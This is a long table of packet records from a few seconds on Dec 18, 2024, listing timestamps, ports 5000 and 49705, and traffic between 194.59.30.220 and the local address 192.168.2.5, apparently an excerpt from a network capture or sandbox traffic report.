Dec 18, 2024 11:40:30.879193068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.879251003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.879301071 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.880215883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.880389929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.880436897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.881197929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.881275892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.881361961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.882164001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.882304907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.882561922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.883168936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.883249044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.883321047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.884284973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.884337902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.884397030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.885153055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.885242939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.885301113 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.886193037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.886214018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.886320114 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.887115955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.887268066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.887321949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.888119936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.888204098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.888266087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.889166117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.889326096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.889405966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.890288115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.890299082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.890340090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.890501976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.890686989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.890733957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.891590118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.891705036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.891761065 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.892977953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.893027067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.893079042 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.032340050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.032454014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.032541990 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.032740116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.032859087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.033032894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.033667088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.033838034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.033957958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.034749031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.035032034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.035108089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.035654068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.035770893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.035830975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.036663055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.036727905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.036817074 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.037621021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.037743092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.037820101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.038645983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.038769960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.038837910 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.039623022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.039721966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.039773941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.040667057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.040771961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.040806055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.041802883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.041893959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.041933060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.042692900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.042733908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.042788029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.043632030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.043690920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.043730021 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.044775009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.044867992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.044977903 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.045734882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.045922995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.045996904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.046869993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.046881914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.046925068 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.047765017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.047842026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.047890902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.048625946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.048779964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.048825979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.049554110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.049603939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.049654961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.050592899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.050745010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.050791025 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.051549911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.051676989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.051722050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.052620888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.052736044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.052793980 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.053515911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.053654909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.053704023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.054481983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.054604053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.054709911 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.055485010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.055597067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.055644989 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.056571007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.056633949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.056673050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.057686090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.057956934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.058001995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.058679104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.058799028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.058916092 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.059514046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.059693098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.059926987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.060514927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.060664892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.060718060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.061477900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.061676025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.061705112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.062484980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.062613010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.062676907 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.063461065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.063585043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.063630104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.064970016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.065100908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.065227985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.065428972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.065584898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.065618992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.066452980 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.066557884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.066607952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.067454100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.067574978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.067611933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.068433046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.068840027 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.068893909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.069524050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.069679976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.069761038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.070441008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.070602894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.070642948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.071429968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.071579933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.071846962 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.072485924 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.072607994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.072675943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.073600054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.073698044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.073745966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.074506998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.074939013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.074985027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.075434923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.075494051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.075531006 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.076392889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.076559067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.076596022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.077753067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.077893019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.078058958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.078641891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.078783035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.078854084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.079546928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.079690933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.079737902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.080554962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.080607891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.080648899 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.089443922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.089612007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.089725971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.089873075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.089986086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.090025902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.090871096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.091041088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.091139078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.091851950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.144409895 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.223608017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.223679066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.223757029 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.224046946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.224189997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.224225998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.224914074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.225105047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.225148916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.225888014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.226020098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.226074934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.226870060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.227013111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.227055073 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.227897882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.227983952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.228024960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.228907108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.229062080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.229100943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.229933977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.230031967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.230092049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.230859995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.230983019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.231056929 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.231816053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.231914043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.232069969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.232873917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.232981920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.233071089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.233870029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.233936071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.234018087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.234894991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.234982014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.235035896 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.235789061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.235894918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.235951900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.236788034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.236887932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.236932993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.237855911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.237895966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.237971067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.238763094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.238830090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.238868952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.239813089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.239903927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.240015984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.240756989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.240885019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.240926027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.241857052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.241952896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.242031097 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.242748976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.242851973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.242889881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.243760109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.243913889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.244023085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.244800091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.244890928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.244930983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.245858908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.245991945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.246036053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.246778011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.246854067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.246910095 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.247704983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.247783899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.247849941 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.248725891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.248861074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.248939991 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.249766111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.249824047 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.249897957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.250732899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.250848055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.250955105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.251698971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.251871109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.251924992 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.252866983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.253007889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.253144979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.253855944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.253925085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.254123926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.254827976 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.254920006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.254977942 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.256000996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.256122112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.256162882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.256658077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.256714106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.256759882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.257719040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.257827997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.257891893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.258641958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.258800030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.258883953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.259623051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.259753942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.259808064 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.260658979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.260749102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.260807037 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.261624098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.261833906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.261885881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.262615919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.262702942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.262831926 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.263648987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.263767958 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:31.263818026 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:31.264611006 CET	5000	49705	194.59.30.220	192.168.2.5
